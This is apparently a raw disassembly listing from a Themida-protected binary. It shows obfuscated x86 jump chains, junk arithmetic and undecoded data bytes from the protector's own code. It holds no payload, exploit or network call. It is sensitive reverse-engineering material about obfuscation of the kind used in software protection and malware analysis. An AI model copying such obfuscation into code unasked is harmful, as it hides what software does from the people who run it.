; ---------------------------------------------------------------------------
		db 0B8h
		dd 5D74619Fh, 0FD34A235h, 3E8C13Bh, 5B26BB05h, 58C3291Eh
		dd 0C381C329h, 2B2C5162h, 0FF7CD8E9h, 241487FFh, 0FF24248Bh
		dd 0C8B2434h, 96E95624h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55840B:				; CODE XREF: Themida_:005552C5j
		add	ebx, 335E0164h
		add	ebx, ebp
		sub	ebx, 335E0164h
		pop	ebp
		sub	edi, 24BB49C0h
		sub	edi, ebx
		add	edi, 24BB49C0h
		pop	ebx
		jmp	loc_5557C8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 3DBEE904h, 8950FFFFh, 4815E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55843E:				; CODE XREF: Themida_:0054E324j
		pop	esp
		bswap	eax
		jmp	loc_55561B
; ---------------------------------------------------------------------------

loc_558446:				; CODE XREF: Themida_:0054D07Ej
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_54F0BD
; ---------------------------------------------------------------------------
		db 57h,	53h, 68h
		dd 19055E6Ah, 79CB815Bh, 0E903D331h, 0FFFF4789h, 4BD5558h
		dd 5000000h, 58F970B6h,	0FFE158E9h, 246C81FFh, 605B5204h
		dd 4815E7Dh, 0DC796124h, 4046687Dh, 46E90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55848F:				; CODE XREF: Themida_:00557164j
		mov	eax, ebp
		pop	ebp
		jmp	loc_55794E
; ---------------------------------------------------------------------------

loc_558497:				; CODE XREF: Themida_:0054D2B2j
		add	ebp, 7BBE4DBDh
		and	ebp, 3996AD6h
		sub	ebp, 0E1043C98h
		add	ecx, ebp
		pop	ebp
		mov	edi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5503D6
; ---------------------------------------------------------------------------
		dw 0E1F6h
		dd 0CCB60F66h, 5E08950h, 4, 0FFE67CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5584D5:				; CODE XREF: Themida_:0054F5CEj
		shl	ecx, 7
		dec	ecx
		shl	ecx, 6
		sub	ecx, 48585FBCh
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_556157
; ---------------------------------------------------------------------------
		dd 3F5FE951h, 0F728FFFFh, 832C5A66h, 0D2E9F800h, 5DFFFF7Fh
		dd 45C8F281h, 0E2C17A84h, 0C2814207h, 0B79C4B03h, 835AD301h
		dd 21E904C3h, 81FFFF49h, 0C62E15F6h, 9625E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55852A:				; CODE XREF: Themida_:0055019Bj
		xor	dl, 0C3h
		push	dx
		jmp	loc_554BC6
; ---------------------------------------------------------------------------
		dd 78FCEA81h, 5DE94938h, 1FFFFDCh, 68E95BDDh, 0BFFFFF8Ch
		dd 606D6C6Eh, 2FBCEF81h, 0F7474637h, 0E857E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55855A:				; CODE XREF: Themida_:005575ABj
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 62h,	0A4h, 0
		dd 0AF878C00h, 5B15F97Fh, 5AC23F00h, 4E443100h,	2908EBFAh
		dd 562D1h, 20700h, 200h, 100h, 0
		dd 4E443100h, 0FAh, 4 dup(0)
		dd 55DA4700h, 55FDE800h, 56269C00h, 5652D400h, 566F5100h
		dd 55C75C00h, 56714200h, 5594BA00h, 56A80300h, 56532C00h
		dd 56042200h, 5612B900h, 560B9100h, 55B40300h, 55B73A00h
		dd 55AFD000h, 568A4300h, 5638E700h, 569C3800h, 56871800h
		dd 55994100h, 56C08A00h, 5593FF00h, 566E7B00h, 55DA7E00h
		dd 55DF5800h, 56B72300h, 55F9F800h, 55BE6600h, 56D9AC00h
		dd 56CE9700h, 5659C000h, 55FCBF00h, 56AB6600h, 55B75100h
		dd 569C0500h, 55BB6000h, 56449400h, 559F7400h, 563A7900h
		dd 5663D700h, 56307000h, 56288700h, 569C6000h, 55CC7800h
		dd 56DE0100h, 5663A800h, 55D54F00h, 56A89500h, 568E2900h
		dd 560BB900h, 56194A00h, 56620B00h, 56DE9A00h, 563A2700h
		dd 56BEAF00h, 55EEB600h, 566EBA00h, 56147600h, 564E5D00h
		dd 55E84F00h, 568CC700h, 56537B00h, 5615C800h, 55DA7200h
		dd 55D12500h, 56D98700h, 55B38100h, 56362A00h, 56D6DF00h
		dd 55AEE100h, 56382900h, 55A5E000h, 56D60200h, 55CBAA00h
		dd 55A8FE00h, 56A4D700h, 55CA9B00h, 55B58800h, 56ACEA00h
		dd 5666F700h, 56D87D00h, 565C5E00h, 55EA2300h, 56979900h
		dd 55FF0F00h, 56B8CC00h, 56DDC200h, 56DB1600h, 56BD8D00h
		dd 56AD3E00h, 56588F00h, 55D63300h, 55BC0A00h, 55C78A00h
		dd 56517800h, 55EA3300h, 56360B00h, 55F87A00h, 55F75200h
		dd 564B3C00h, 565CD400h, 56D43B00h, 55A42100h, 56275100h
		dd 5693DA00h, 558E8F00h, 55A78400h, 5689FF00h, 565CC400h
		dd 55F09C00h, 566A9000h, 56D3B300h, 55E17300h, 56A27A00h
		dd 55AD2300h, 56771300h, 55C53D00h, 55B74200h, 56533D00h
		dd 55F07600h, 55DF1600h, 56AD1000h, 559BDB00h, 56D30800h
		dd 55F4FD00h, 56B9EC00h, 56BC4700h, 56251F00h, 560BA500h
		dd 569C7900h, 55DCD700h, 55EBEF00h, 56505D00h, 55D40E00h
		dd 56290000h, 5599B500h, 564E6A00h, 55D87E00h, 55BB6900h
		dd 56A43200h, 56255E00h, 56272F00h, 56B6C300h, 55C71500h
		dd 5617C300h, 5660E000h, 56709000h, 56ACBC00h, 56BF3A00h
		dd 565C2300h, 55C26C00h, 56399A00h, 564BA400h, 56621F00h
		dd 55F2E700h, 55F30800h, 55B2BC00h, 5660A600h, 5690F300h
		dd 56813500h, 56870900h, 566C0C00h, 56650E00h, 55C59E00h
		dd 55C3D400h, 567C5200h
		db 0
; ---------------------------------------------------------------------------

loc_558845:				; CODE XREF: Themida_:005AC1F3j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 607441Ch
		mov	eax, edi
		add	edi, 6074134h
		cmp	eax, [edi+2Ch]
		jnz	short loc_558863
		jmp	short loc_558876
; ---------------------------------------------------------------------------

loc_558863:				; CODE XREF: Themida_:0055885Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_558872
; ---------------------------------------------------------------------------

loc_55886D:				; CODE XREF: Themida_:00558874j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_558872:				; CODE XREF: Themida_:0055886Bj
		or	ecx, ecx
		jnz	short loc_55886D

loc_558876:				; CODE XREF: Themida_:00558861j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_558883:				; CODE XREF: Themida_:0055888Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_558883

loc_55888C:				; CODE XREF: Themida_:00558CB1j
					; Themida_:00559131j ...
		lodsb
		jmp	loc_55DA78
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 91EB805Ch, 2DC380h, 2DEB80C3h
		dd 1108DE9h, 0EC835700h, 48F5404h, 24048124h, 4, 4BE565Fh
		dd 0E9000000h, 0E852h
; ---------------------------------------------------------------------------

loc_5588CC:				; CODE XREF: Themida_:0056BD44j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5657D6
; ---------------------------------------------------------------------------
		db 68h
		dd 11D4h, 89242C89h, 4EC83E5h, 50241C89h, 92DCE9h, 4C48100h
		dd 0E9000000h, 14302h, 68242C89h, 2185h, 0ED58E9h
		db 0
; ---------------------------------------------------------------------------

loc_55890D:				; CODE XREF: Themida_:0056A1F2j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 10392F76h
		shr	ebx, 4
		add	ebx, 2A61EA92h
		or	edi, ebx
		pop	ebx
		add	edi, 0FFFFFFFFh
		xor	edi, 6A701B82h
		push	edi
		sub	dword ptr [esp], 698735C9h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 698735C9h
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_55FB22
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 550B436Bh, 7EECED81h, 0CD017238h, 15A4E9h, 5AD30100h
		dd 0D8D3C381h, 0ED810F2Ch, 50BB52BDh, 0C581DD01h, 50BB52BDh
		dd 81241C8Bh, 4C4h, 257F6800h, 2C890000h, 2474FF24h, 242C8B04h
		dd 43D7E9h, 527EBA00h, 0EAC17510h, 57DAF706h, 0C40F04BFh
		dd 0CF81476Ah, 36AA1141h, 0F759EF81h, 0FA010383h, 0E9DAF75Fh
		dd 0D9D2h, 0FFFFEB81h, 0BF57FFFFh, 55BB59FDh, 505FFB29h
		dd 730C0DB8h, 0E9E8D16Dh, 48CDh
; ---------------------------------------------------------------------------

loc_5589DC:				; CODE XREF: Themida_:00564068j
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B5E2
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 1201E924h, 89550000h, 2559E9D5h, 69BB0001h
		dd 0F763EA38h, 81E3D1DBh, 0A67889E3h, 73BD556Ch, 106FB48h
		dd 0ED815DEBh, 1325090h, 0C581DD01h, 1325090h, 0C6C5815Bh
		dd 0E906122Dh, 1071Bh
; ---------------------------------------------------------------------------

loc_558A2C:				; CODE XREF: Themida_:0055EFB2j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5677C8
; ---------------------------------------------------------------------------
		db 0BDh, 32h, 7Ah
		dd 81E906D5h, 810000CFh, 0A02993EAh, 5AD72910h,	0FE36E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558A56:				; CODE XREF: Themida_:00558F05j
					; Themida_:00561EE1j ...
		push	esi
		jmp	loc_55C797
; ---------------------------------------------------------------------------
		dd 2E3C15Bh, 0FD86C381h, 39E9E3C6h
		db 4Ah,	1, 0
; ---------------------------------------------------------------------------

loc_558A6B:				; CODE XREF: Themida_:0056BFD0j
		dec	edi
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_56D9CA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFE10h, 6113EB81h, 16E94A68h, 0FF0000DCh, 0A4E92434h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558A8F:				; CODE XREF: Themida_:0055ABE0j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_56C5AC
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 5436h, 0F708E5C1h, 7EDC1D5h, 8929ED81h
		dd 0E8010084h, 2404875Dh, 4C4835Ch, 8B243C87h, 2CD32424h
		dd 0B5E99C24h, 89FFFFFDh, 0C5315DE8h, 0D7E95158h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558AE3:				; CODE XREF: Themida_:0055E595j
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_569E8A
; ---------------------------------------------------------------------------

loc_558AED:				; CODE XREF: Themida_:0056D343j
		add	esp, 4
		add	ebx, 0EFBB30CEh
		and	eax, ebx
		jmp	loc_5687B6
; ---------------------------------------------------------------------------
		dd 8F1FAD68h, 0C2815A0Ch, 12192E7Bh, 0FCC1E9h, 15E0BE00h
		dd 0F5291743h, 7C62E9h,	89665C00h, 91B42404h, 0C317E9h
		db 0
; ---------------------------------------------------------------------------

loc_558B29:				; CODE XREF: Themida_:0056CD22j
		pop	esp
		mov	[esp], ebx
		push	4
		jmp	loc_564DBF
; ---------------------------------------------------------------------------

loc_558B37:				; CODE XREF: Themida_:0056B09Aj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56BB71
; ---------------------------------------------------------------------------

loc_558B45:				; CODE XREF: Themida_:0056859Aj
		pop	ecx
		push	1CC0h
		mov	[esp], ebp
		pop	edi
		jmp	loc_565F0A
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4ECh, 454DE900h, 16BD0000h, 813B735Fh, 0E07C18F5h
		dd 246C8124h, 431FAD04h, 246C293Eh, 24448104h, 431FAD04h
		dd 0EC835D3Eh, 242C8904h, 4CA7BF57h, 0FD89685Bh, 2444815Fh
		dd 1B06B204h, 2E3CE94Fh, 8F5C0001h, 665C2404h, 12E9F9F7h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558BAB:				; CODE XREF: Themida_:0055EE36j
		sub	edx, ecx
		pop	ecx
		add	edx, 122C4602h
		jmp	loc_55F83D
; ---------------------------------------------------------------------------
aAuSs		db '¶Ð€î×SéÇ',0
		align 4
		dd 0E9241487h, 82DFh, 63EBE957h, 0E9510000h, 0FEF6h, 0ADC281h
		dd 0D589B3EAh, 49C5815Ah, 0F7718E3Ah, 8E5C1D5h,	5CFF581h
		dd 0EB315C96h, 0B4B9E9h, 0F2815800h, 7BC32FD1h,	12797E9h
		db 0
; ---------------------------------------------------------------------------

loc_558C05:				; CODE XREF: Themida_:0056A0EFj
		push	17h
		jmp	loc_55CCBB
; ---------------------------------------------------------------------------

loc_558C0F:				; CODE XREF: Themida_:0056D831j
		push	esi
		mov	esi, 36256783h
		jmp	loc_55F730
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0AB4F6F48h, 215AD329h, 0E0C15BD8h, 787B2508h, 41E928A3h
		db 31h,	1, 0
; ---------------------------------------------------------------------------

loc_558C33:				; CODE XREF: Themida_:00561768j
		xor	[esp], edi
		xchg	ecx, edi
		jmp	loc_56DEF2
; ---------------------------------------------------------------------------

loc_558C3D:				; CODE XREF: Themida_:0055AD9Aj
		mov	ah, bh
		push	ebx
		jmp	loc_56A598
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 0B3F5E9h, 0D6BD5500h, 0F7406241h, 0FFED81D5h, 56FFFFFFh
		dd 67758DBEh, 8BF50180h, 0C4832434h, 4EC28104h,	15F0267h
		dd 4EEA81EAh, 5D5F0267h, 0EA81C201h, 400533B7h,	245EC281h
		dd 0C7E94984h, 500000D4h, 0E9F18851h, 12A5h, 0E9C1D1F7h
		dd 0C1E95507h
		db 51h,	1, 0
; ---------------------------------------------------------------------------

loc_558C9F:				; CODE XREF: Themida_:0056AFD8j
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_560751
; ---------------------------------------------------------------------------

loc_558CAD:				; CODE XREF: Themida_:0055E0B5j
		mov	[esp], ax
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_558CB6:				; CODE XREF: Themida_:00565EADj
		shl	esi, 3
		and	esi, 78353DB7h
		shr	esi, 5
		sub	esi, 9A0245C9h
		or	ecx, esi
		jmp	loc_567F02
; ---------------------------------------------------------------------------

loc_558CCF:				; CODE XREF: Themida_:00563B77j
		mov	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_56198B
; ---------------------------------------------------------------------------
		dd 0AD644CBBh, 0F0EB8146h, 0E942F539h, 0FDD4h, 1AE1815Dh
		dd 833A6C4Dh, 1EE904ECh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558CF7:				; CODE XREF: Themida_:00565F6Ej
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_56C4BF
		push	1855h
		mov	[esp], ebx
		mov	ebx, 28h
		push	edx
		mov	edx, 52942D9Fh
		jmp	loc_569529
; ---------------------------------------------------------------------------

loc_558D21:				; CODE XREF: Themida_:0055CF06j
		push	edx
		mov	dl, cl
		push	ecx
		mov	cl, dl
		mov	bh, cl
		pop	ecx
		pop	edx
		pop	ecx
		xor	al, bh
		push	dword ptr [esp]
		jmp	loc_56A84E
; ---------------------------------------------------------------------------
aWqsbb		db 'WQéB',0
		db 0
; ---------------------------------------------------------------------------

loc_558D3D:				; CODE XREF: Themida_:0056C93Cj
		mov	[esp], esi
		jmp	loc_55AADA
; ---------------------------------------------------------------------------

loc_558D45:				; CODE XREF: Themida_:0055E00Dj
		mov	eax, 0EA814A2h
		xor	[esp+4], eax
		pop	eax
		mov	esi, [esp]
		jmp	loc_55A999
; ---------------------------------------------------------------------------
		db 81h
		dd 3660CAEFh, 1F73E979h, 0EA810000h, 60946A09h,	81241C8Bh
		dd 4C4h, 6C576800h, 43E90000h
		db 4Bh,	1, 0
; ---------------------------------------------------------------------------

loc_558D7B:				; CODE XREF: Themida_:0055B1D7j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		inc	edx
		sub	edx, 0FC40FDE7h
		add	ebx, edx
		pop	edx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_563C9C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 57FF2542h, 76F0CE81h, 0E6C1480Ch, 38BB5303h,	0E914957Ah
		dd 14C06h
; ---------------------------------------------------------------------------

loc_558DAC:				; CODE XREF: Themida_:00563186j
		push	eax
		push	ecx
		push	eax
		jmp	loc_55F365
; ---------------------------------------------------------------------------
		dd 4C481h, 1C870000h, 48B5C24h,	4EC8324h, 68243C89h, 0CDFh
		dd 8733E9h, 59CD0900h, 0FFC5F581h, 0EB016BFEh, 0E9242C8Bh
		dd 13074h
; ---------------------------------------------------------------------------

loc_558DE4:				; CODE XREF: Themida_:00561E26j
		push	1CC5h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B57D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C18104E1h, 0FA9E4714h, 8392E2Dh, 5C8016Dh, 6D08392Eh
		dd 0C5FCE959h, 0C5810000h, 4, 764668h, 241C8900h, 4BA52h
		dd 1C680000h, 0E9000076h, 397h,	0BCE9D5F7h, 83000066h
		dd 0C48304C4h, 24048F04h, 240CD35Ch, 0FA3EE99Ch, 1489FFFFh
		dd 2474FF24h, 2434FF04h, 0C267E9h, 0E6895600h, 4C681h
		dd 0C6810000h, 4, 0FBBE9h, 0A0F58000h, 8059EA30h, 0C18031C2h
		dd 80D12821h, 0F65A21E9h, 7CF180D9h, 0D0E9CE88h, 6600000Ah
		dd 68240C8Bh, 78BDh, 54243C89h,	1BB9E9h
		db 0
; ---------------------------------------------------------------------------

loc_558EA1:				; CODE XREF: Themida_:0055E6BEj
		inc	edi
		xor	edi, 77984093h
		sub	edi, 2C8994D8h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55D388
; ---------------------------------------------------------------------------
		db 0FFh
		dd 95E92434h, 0E9000017h, 0FFFFF9C4h, 0F681D6F7h, 13D28993h
		dd 23E9F709h, 81000065h, 4C4h, 0B95100h, 29000000h, 8EFE9C1h
		db 1, 0
; ---------------------------------------------------------------------------

loc_558EEA:				; CODE XREF: Themida_:0055F905j
		pop	ebp
		push	ecx
		mov	ecx, 5795352Dh
		sub	esi, ecx
		pop	ecx
		shl	esi, 2
		add	esi, 863998E3h
		sub	ecx, esi
		pop	esi
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	loc_558A56
		push	edi
		mov	edi, esp
		jmp	loc_55C21B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0FEE5F4A9h, 315FFB29h, 1E25E9DFh, 0E9810000h, 78C06B3Dh
		dd 0C181D101h, 78C06B3Dh, 10626E9h
		db 0
; ---------------------------------------------------------------------------

loc_558F35:				; CODE XREF: Themida_:0055E678j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		jmp	loc_56100C
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0E6078664h, 685EF301h, 2839h, 83242C89h, 148904ECh
		dd 0C1E7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558F5E:				; CODE XREF: Themida_:0056BAECj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		mov	eax, [esp]
		push	3C0Ah
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	21F330EFh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55960B
; ---------------------------------------------------------------------------
aLSjr		db '‹,$é†',0
		dd 8BE95600h, 81000012h, 504E73E6h, 29B76835h, 10E90000h
		dd 8B00007Eh, 0C4832404h, 0D0F78104h, 0C1090774h, 0C78102E7h
		dd 1, 0A00FE9h,	243C8900h, 493268h, 24248900h, 4240481h
		dd 5F000000h, 4C781h, 57550000h, 0C91DF2BFh, 8BFD8901h
		dd 8952243Ch, 0E065E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559016:				; CODE XREF: Themida_:0056CA1Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D999
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 9420E9h, 241C3300h, 48B665Ch, 22526824h, 10E90000h
		db 2Ch,	1, 0
; ---------------------------------------------------------------------------

loc_559047:				; CODE XREF: Themida_:0056C231j
		pop	ecx
		push	3796h
		mov	[esp], edx
		push	1AE5h
		mov	[esp], ebx
		mov	ebx, 5F971A46h
		mov	edx, 51DB05F1h
		jmp	loc_55E587
; ---------------------------------------------------------------------------
		db 53h
		dd 0E773BBBh, 0C0EA8106h, 152AF39h, 0A94EE9DAh,	0C7810000h
		dd 4, 4EF81h, 3C870000h, 2C895C24h, 0F65EE924h,	0EB280000h
		dd 0F2F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_559099:				; CODE XREF: Themida_:0055CD35j
		mov	ecx, 1A1156D8h
		add	ecx, 1E864D16h
		push	eax
		jmp	loc_568811
; ---------------------------------------------------------------------------

loc_5590AA:				; CODE XREF: Themida_:0056672Aj
		mov	ebx, 5562048Ch
		add	ebx, 0DA546F6h
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		jmp	loc_56D2DF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 48BC189h, 4C48124h, 81000000h, 0E39605C1h, 4EC81D0h
		dd 89000000h, 8B5B240Ch, 0C481240Ch, 4,	9D38E9h, 0FDE1B800h
		dd 0EEE9C34Dh
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------

loc_5590F3:				; CODE XREF: Themida_:0056460Fj
		mov	ebx, 1BA822E7h
		or	ebx, 0EBE37A9h
		xor	ebx, 0C2A3104Bh
		add	edi, ebx
		pop	ebx
		push	129Fh
		mov	[esp], ecx
		mov	ecx, edi
		mov	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55B6DC
; ---------------------------------------------------------------------------

loc_55911B:				; CODE XREF: Themida_:0056D3CEj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55AF61
; ---------------------------------------------------------------------------

loc_55912E:				; CODE XREF: Themida_:005650FDj
		push	ax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 34FFh
aST		db '$éÀâ',0
		align 2
		dw 0FF57h
		dd 0E9042474h, 11CACh
; ---------------------------------------------------------------------------

loc_559148:				; CODE XREF: Themida_:0056B20Ej
		mov	[ecx], ah
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_56A0F4
; ---------------------------------------------------------------------------
		db 54h
		dd 0C3BD555Ah, 0E905923Eh, 661Bh
; ---------------------------------------------------------------------------

loc_559164:				; CODE XREF: Themida_:00559D39j
		add	esp, 4
		jmp	loc_55C410
; ---------------------------------------------------------------------------
		dd 8704C083h, 815C2404h, 112B2404h, 4011474h, 4EC8324h
		dd 13636E9h, 0CF38100h,	89059365h, 44015BD8h, 56E90824h
		dd 89000091h, 4832424h,	815F0424h, 4C7h, 0BB535100h, 2
		dd 1C8BD989h, 4C48124h,	55000000h, 0EA181568h, 19E95D50h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5591C3:				; CODE XREF: Themida_:005658C8j
		mov	[esp], eax
		jmp	loc_563FBE
; ---------------------------------------------------------------------------
		db 89h
		dd 5A5B2414h, 555BDD01h, 42474FFh, 1272BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5591DD:				; CODE XREF: Themida_:005621CDj
		mov	[esp], edi
		push	7760041Bh
		pop	edi
		shl	edi, 1
		shr	edi, 1
		dec	edi
		add	edi, 0D8DC6BE7h
		mov	eax, edi
		pop	edi
		or	eax, 1D6C4626h
		shl	eax, 8
		sub	eax, 0FFFFFFFFh
		or	eax, 2CD164A7h
		shl	eax, 5
		add	eax, 0C4684B62h
		xor	edi, eax
		jmp	loc_562612
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C481240Ch, 4, 0C781EFD1h, 6E180F57h, 5EE5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559232:				; CODE XREF: Themida_:005663EEj
		pop	ebp
		sub	edi, 0CAB1481h
		jmp	loc_5667EC
; ---------------------------------------------------------------------------
a_hsd		db '_hèd',0
		align 4
		dd 50240C89h, 405E089h,	83000000h, 48704E8h, 2C895C24h
		dd 5CF6BD24h, 0ED8117B1h, 55E00AECh, 0DC1DC581h, 0E98954DEh
		dd 0CEEB815Dh, 81346C44h, 70022C3h, 81CB2967h, 70022EBh
		dd 0CEC38167h, 8B346C44h, 0C481240Ch, 4, 4D2EE9h, 15CAB800h
		dd 6068180Fh, 0E9000071h, 1393Bh, 245EBE56h, 63E94984h
		dd 83000010h, 0C38104C4h, 4D0F28B1h, 1BBEBF57h,	51E90EFEh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5592C3:				; CODE XREF: Themida_:0056683Cj
		mov	eax, 32C42h
		xor	edx, eax
		jmp	loc_56825C
; ---------------------------------------------------------------------------
		db 81h
		dd 0C2048DCAh, 24F28143h, 81533D66h, 0FFD2E3C2h, 0E9D1315Ah
		dd 0DDEEh
; ---------------------------------------------------------------------------

loc_5592E8:				; CODE XREF: Themida_:0056D9DBj
		add	esp, 4
		sub	esp, 4
		jmp	loc_569C8B
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0B2h
		dd 81196C36h, 0ED2C97E9h, 7CBF5779h, 8143D363h,	593711EFh
		dd 81DFF772h, 1369E5C7h, 5FF9312Fh, 53E9D187h, 500000AEh
		dd 5E4A38B8h, 58C2896Bh, 0FFF6C1E9h, 0C48358FFh, 28C18104h
		dd 50621135h, 0E10286B8h, 58C12960h, 0BD55C101h, 60E10286h
		dd 815DE901h, 113528E9h, 0CEE98162h, 5672CD78h,	1A22C0BEh
		dd 91E98172h, 29273824h, 82E1E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55936E:				; CODE XREF: Themida_:00567076j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_561ED4
; ---------------------------------------------------------------------------
		dd 0E9E28952h, 5A2h, 4EC81h, 2C890000h,	81E58924h, 4C5h
		dd 0EBB85000h, 4017071Ch, 0E824D125h, 703CE96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5593A2:				; CODE XREF: Themida_:0055E8A2j
		pop	esi
		jmp	loc_56396F
; ---------------------------------------------------------------------------
		dd 635D68h, 0A4FAE900h,	89500000h, 405E0h, 4050000h, 87000000h
		dd 3E92404h, 1000058h, 15A7E9EFh, 0EE090000h, 0BEB9515Dh
		dd 0C16C107Bh, 8EE905E1h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5593DF:				; CODE XREF: Themida_:00562675j
		mov	[esp], edx
		mov	edx, 48DB8455h
		jmp	loc_55942E
; ---------------------------------------------------------------------------

loc_5593EC:				; CODE XREF: Themida_:0055BC4Dj
		add	ecx, 4E3208EFh
		sub	ecx, 6DAB092Dh
		add	edx, ecx
		jmp	loc_561F23
; ---------------------------------------------------------------------------
aM0Hbj		db '¬0ØhJ',0
		dw 8900h
		dd 0E6892434h, 4C681h, 2FE90000h, 0BA00007Bh, 38h, 1FF6E9h
		dd 0D1C18100h, 14A9156h, 67FEE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55942E:				; CODE XREF: Themida_:005593E7j
		mov	ecx, edx
		jmp	loc_55E59A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 0E6C781DFh, 8B14713Ah, 0C483241Ch,	0B056804h
		dd 34890000h, 81E68924h, 4C6h, 4B95100h, 81000000h, 733F93EEh
		dd 81CE2975h, 733F93C6h, 0B487E975h, 0E95B0000h, 38B3h
		dd 5C241C87h, 60F36857h, 0C890000h, 0AEBFE924h,	0CE890000h
		dd 0FFF38959h, 348B2434h, 4C48324h, 4C481h, 6AE90000h
		dd 5400011Ch, 8124048Bh, 4C4h, 1D4FE900h, 348B0001h, 107AE924h
		dd 30AC0001h, 535053D8h, 6AE987B3h, 9000102h, 60D6E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5594CE:				; CODE XREF: Themida_:0056987Ej
		pop	ebx
		pop	ebp
		jmp	loc_563843
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 3
